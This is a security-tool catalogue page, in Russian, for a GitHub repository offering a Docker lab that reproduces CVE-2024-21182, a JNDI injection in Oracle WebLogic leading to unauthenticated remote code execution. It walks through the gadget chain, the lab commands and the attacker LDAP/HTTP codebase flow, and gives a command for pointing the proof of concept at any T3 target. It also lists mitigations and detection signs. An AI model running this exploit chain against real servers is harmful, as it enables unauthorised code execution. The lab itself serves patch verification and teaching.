Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/dinosn/cve-2024-21182
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubdinosn/cve-2024-21182

CVE-2024-21182

Воспроизводимый Docker-лабораторный стенд для CVE-2024-21182 Oracle WebLogic T3/IIOP OpaqueReference JNDI-инъекция, приводящая к неаутентифицированному удалённому выполнению кода. Однокомандный validate.sh для авторизованного тестирования безопасности и проверки исправлений.

Репозиторий
3483 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-21182 — Oracle WebLogic Server T3/IIOP JNDI-инъекция → RCE (лабораторная среда)

Автономная Docker-лаборатория, запускаемая одной командой, для воспроизведения и проверки семейства уязвимостей JNDI-инъекций OpaqueReference Oracle WebLogic Server (CVE-2024-21182, обход исправления CVE-2023-21839) и превращения их в неаутентифицированное удаленное выполнение кода.

⚠️ Только для авторизованных исследований безопасности, обучения и проверки исправлений. См. DISCLAIMER. Запускайте только в этой лабораторной среде или в системах, которыми вы владеете.


Что это демонстрирует

CVE-2024-21182 — это неаутентифицированная уязвимость в компоненте Core Oracle WebLogic Server, доступная по протоколам T3 / IIOP (порт по умолчанию 7001). Она позволяет злоумышленнику привязать специально созданный объект «ссылка» в JNDI-дерево сервера и вызвать серверный JNDI-запрос к URL, контролируемому злоумышленником — классическая JNDI-инъекция, переходящая в RCE.

CVECVE-2024-21182
ПродуктOracle WebLogic Server (Core)
Затрагиваемые версии (согласно Oracle)12.2.1.4.0, 14.1.1.0.0
Исправлено вКритическое обновление Oracle октябрь 2024 г.
ВекторNetwork, unauthenticated, T3/IIOP (port 7001)
CISA KEVДа (известен факт эксплуатации в реальных атаках)
КлассОбход исправления CVE-2023-21839 (JNDI-инъекция OpaqueReference)

Коренная причина

Объект ссылки WebLogic разрешается на стороне сервера во время lookup() с помощью ObjectFactory, который выполняет вложенный JNDI-запрос к URL, предоставленному злоумышленником:

root@kitploit:~
weblogic.jndi.internal.WLContextImpl.lookup
 → javax.naming.spi.NamingManager.getObjectInstance
   → weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
     → weblogic.application.naming.MessageDestinationReference.lookupMessageDestination  (line 62)
       → new InitialContext().lookup( ldap://attacker/… )      ← attacker-controlled, server-side

CVE-2023-21839 достигала этого через weblogic.jndi.internal.ForeignOpaqueReference, который Oracle затем защитил. CVE-2024-21182 обходит эту защиту, достигая того же внешнего запроса через weblogic.ejb.container.internal.AggregatableOpaqueReference, чье приватное поле referent рефлексивно устанавливается на weblogic.application.naming.MessageDestinationReference.


⚠️ Важно: образ лаборатории и версии, указанные в CVE

В этой лаборатории используется образ vulhub/weblogic:12.2.1.3-2018 (WebLogic 12.2.1.3 со встроенным JDK 1.8.0_151), потому что это единственный свободно распространяемый уязвимый образ WebLogic — версии, официально указанные в CVE-2024-21182 (12.2.1.4.0 / 14.1.1.0.0), требуют лицензии Oracle и не могут быть опубликованы здесь.

Последствия, изложенные честно:

  • Лаборатория точно воспроизводит класс уязвимости JNDI-инъекция OpaqueReference → RCE, с использованием точных классов-гаджетов CVE-2024-21182 (AggregatableOpaqueReference + MessageDestinationReference).
  • Она не доказывает свойство обхода исправления — 12.2.1.3 предшествует черному списку CVE-2023-21839, поэтому на этом образе нечего обходить. Для демонстрации именно обхода нужна лицензионная сборка 12.2.1.4, пропатченная до версии, предшествующей окт. 2024 CPU.
  • Часть RCE: работает здесь, потому что JDK 1.8.0_151 предшествует 8u191 и имеет по умолчанию com.sun.jndi.ldap.object.trustURLCodebase=true (удаленная загрузка классов с codebase). На современных JDK инъекция все еще срабатывает (SSRF), но для RCE требуется гаджет, уже находящийся в classpath WebLogic, а не удаленная codebase.

Быстрый старт

Требования: Docker + Docker Compose v2. Загрузка образа ~3 ГБ. На Apple Silicon образ работает под эмуляцией linux/amd64 (медленный холодный запуск, 2–5 мин).

root@kitploit:~
git clone <this-repo>
cd CVE-2024-21182-lab
docker compose up -d        # starts: weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh               # waits for boot, fires the exploit, prints PASS/FAIL

Ожидаемый хвост вывода ./validate.sh:

root@kitploit:~
[+] RCE CONFIRMED — command executed inside the WebLogic container as:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduced (unauthenticated T3 JNDI injection -> RCE)

Остановка:

root@kitploit:~
docker compose down

Как это работает (составные части)

root@kitploit:~
                 t3://weblogic:7001                         ldap://attacker:1389/Evil
  PoC client  ───────────────────────►  WebLogic  ──────────────────────────────►  attacker (LDAP)
 (in weblogic     bind() + lookup()      (victim)      server-side JNDI lookup        returns Reference
  container)                                                                          {javaCodeBase=http://attacker:8888/}
                                              │                                              │
                                              └──────────  GET /Exploit.class  ◄─────────────┘  (HTTP codebase)
                                                           loads + instantiates → static{} runs `id`
  • poc/CVE_2024_21182.java — T3-клиент. Создает вредоносный AggregatableOpaqueReference, выполняет его bind(), затем lookup() для запуска серверного разрешения. Параметризован: <t3-host:port> <ldap-url>. Он компилируется внутри контейнера WebLogic с помощью validate.sh, поскольку классы-гаджеты находятся в полном наборе модулей WebLogic (а не в перераспространяемом тонком клиенте), поэтому здесь не поставляются jar-файлы Oracle.
  • exploit/ldap_server.py — минимальный вредоносный LDAP-сервер, возвращающий JNDI Reference, а также HTTP-сервер, размещающий фабричный класс. Запускается в контейнере attacker, доступен из WebLogic по имени службы attacker.
  • exploit/Exploit.java / Exploit.class — фабрика полезной нагрузки (байт-код Java 8). Ее статический инициализатор выполняет id / uname -a и записывает вывод в /tmp/RCE_PROOF_CVE_2024_21182 внутри жертвы. Безвредно по замыслу — отредактируйте и запустите exploit/build.sh, чтобы изменить команду.

ClassCastException (Exploit cannot be cast to ObjectFactory), которое вы увидите, является ожидаемым и косметическим — оно происходит после того, как статический инициализатор (полезная нагрузка) уже выполнился.


Проверка исправленной / реальной цели

Направьте PoC на любой T3-эндпоинт, который вы уполномочены тестировать:

root@kitploit:~
# from inside a host with the WebLogic thin client, or adapt validate.sh:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil
  • Инъекция срабатывает (исходящий LDAP обнаружен), но RCE нет → JDK имеет trustURLCodebase=false; у вас все еще есть SSRF, и RCE может быть достигнуто через гаджет в classpath.
  • Ничего не срабатывает → путь OpaqueReference исправлен (применено CPU Oct-2024).

Меры защиты

  • Исправление — примените критическое обновление Oracle за октябрь 2024 г.
  • Сеть — ограничьте T3/IIOP (7001) с помощью фильтров соединений WebLogic (weblogic.security.net.ConnectionFilterImpl) и межсетевых экранов хоста.
  • JDK — оставьте com.sun.jndi.ldap.object.trustURLCodebase=false (по умолчанию на современных JDK); это блокирует RCE-часть с удаленной codebase (но не часть инъекции).
  • Обнаружение — исходящие LDAP/RMI/DNS из JVM WebLogic на хосты, не входящие в белый список; неожиданные дочерние процессы процесса WebLogic; T3 bind типов *OpaqueReference.

Благодарности и ссылки

  • Public PoC gadget: k4it0k1d/CVE-2024-21182
  • Vulnerable image: vulhub (weblogic/CVE-2023-21839)
  • Фон: рекомендации Oracle CPU; исследование CVE-2023-21839 (семейство OpaqueReference WebLogic)

ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ

Этот проект опубликован для авторизованного тестирования безопасности, защитной проверки и обучения. Уязвимое программное обеспечение работает в изолированной Docker-лаборатории. Не используйте эти методы против систем, которыми вы не владеете или для тестирования которых у вас нет явного разрешения. Авторы не несут ответственности за неправомерное использование. См. LICENSE.

Скачать инструмент